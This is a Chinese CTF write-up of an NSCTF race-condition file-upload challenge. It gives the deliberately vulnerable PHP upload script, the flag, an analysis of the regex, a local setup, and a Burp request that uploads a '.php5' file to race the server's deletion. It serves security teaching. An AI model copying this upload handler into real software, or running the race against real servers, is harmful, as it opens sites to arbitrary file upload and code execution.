目录
简介
条件竞争是指多进程/多线程情况下对于共享资源没有加锁,导致的问题。
源代码
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>NSCTF</title>
</head>
<body alink="#007000" background="../images/dot.gif" bgcolor="#000000" link="gold" text="#008000" vlink="#00c000">
<br>
<br>
<br>
<center>
<head><h1>请上传文件!</h1></head><br>
<br>
<br><br>
<form method="post" action="index.php" enctype="multipart/form-data">
<input type="file" name="file" value="1111"/>
<input type="submit" name="submit" value="upload"/>
</form>
</center>
<?php
error_reporting(0);
if(isset($_POST['submit'])){
$savefile = $_FILES['file']['name'];
$savefile = preg_replace("/\.\.|\%/", "", $savefile);
$tempfile = $_FILES['file']['tmp_name'];
//$savefile = preg_replace("/(php|php3|php4)(\.|$)/i", "_\\1\\2", $savefile);
$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);
$savefile = 'upload/'.$savefile;
if(move_uploaded_file($tempfile,$savefile)){
//$filename = substr($savefile,0,strlen($savefile)-1);
$filename = $savefile;
if(file_exists($filename) && ( (substr($savefile, -5) == '.php5') )){
file_put_contents($filename, "flag:{NSCTF_8f0fc74ddf786103ed56d20af3bf269}");
sleep(0.5);
unlink($filename);
exit('上传成功,文件地址为:'.$savefile."<br>"."但是系统检测到恶意上传立马又被删了~");
}else{
unlink($filename);
exit('上传成功,文件地址为:'.$savefile."<br>");
}
}else{
exit('上传失败~'."<br>");
}
}
function upload($src,$dst){
if(move_uploaded_file($src,$dst)){
return true;
}
return false;
}
?>
我进行了一点修改,背景图片改为了同级目录,改为了png,表单action为空,不再跳转,方便你们看。
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>NSCTF</title>
</head>
<body alink="#007000" background="dot.png" bgcolor="#000000" link="gold" text="#008000" vlink="#00c000">
<br>
<br>
<br>
<center>
<head><h1>请上传文件!</h1></head><br>
<br>
<br><br>
<form method="post" action="" enctype="multipart/form-data">
<input type="file" name="file" value="1111"/>
<input type="submit" name="submit" value="upload"/>
</form>
</center>
<?php
error_reporting(0);
if(isset($_POST['submit'])){
$savefile = $_FILES['file']['name'];
$savefile = preg_replace("/\.\.|\%/", "", $savefile);
$tempfile = $_FILES['file']['tmp_name'];
$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);
$savefile = 'upload/'.$savefile;
if(move_uploaded_file($tempfile,$savefile)){
$filename = $savefile;
if(file_exists($filename) && ( (substr($savefile, -5) == '.php5') )){
file_put_contents($filename, "flag:{NSCTF_8f0fc74ddf786103ed56d20af3bf269}");
sleep(0.5);
unlink($filename);
exit('上传成功,文件地址为:'.$savefile."<br>"."但是系统检测到恶意上传立马又被删了~");
}else{
unlink($filename);
exit('上传成功,文件地址为:'.$savefile."<br>");
}
}else{
exit('上传失败~'."<br>");
}
}
function upload($src,$dst){
if(move_uploaded_file($src,$dst)){
return true;
}
return false;
}
?>
正则表达式分析
"/\.\.|\%/",\表示转义,|表示或,故可匹配".."或者"%",配合preg_replace替换为空。
"/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i",()内包含一个正则表达式,|表示或,\表示转义,i表示匹配时不区分大小写,故可匹配两个()加上"."或"$",配合preg_replace替换为"_()()",可能表达的不清楚,举个例子,"xxx.php"会被改为"xxx._php",不会写入flag,xxx.php.php3会被改为"xxx._php_php3"。
后面if语句可以看到,文件后缀是".php5"就可以了。
复现
将上述代码保存到本地,例如,phpStudy的WWW目录下(D:\phpStudy\WWW\CTFs\NSCTF\2015WEB_condition_race.php)。同级目录下建立一个upload文件夹,放一张dot.png。
打开phpStudy,使用浏览器访问。
攻击
通过正则表达式,可知使用后缀为.php5的文件可绕过,上传成功截图如下:
使用BP抓包
POST /CTFs/NSCTF/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------132767563241187676712547406197
Content-Length: 353
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/CTFs/NSCTF/2015WEB_condition_race.php
Upgrade-Insecure-Requests: 1-----------------------------132767563241187676712547406197
Content-Disposition: form-data; name="file"; filename="flag.php5"
Content-Type: application/octet-stream
-----------------------------132767563241187676712547406197
Content-Disposition: form-data; name="submit"upload
-----------------------------132767563241187676712547406197--
在Instruder模块进行条件竞争攻击,即不断上传文件,导致系统来不及删,在攻击过程中服务器一直存在文件。
BP设置可看下方参考
参考
更多内容查看:网络安全-自学笔记
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。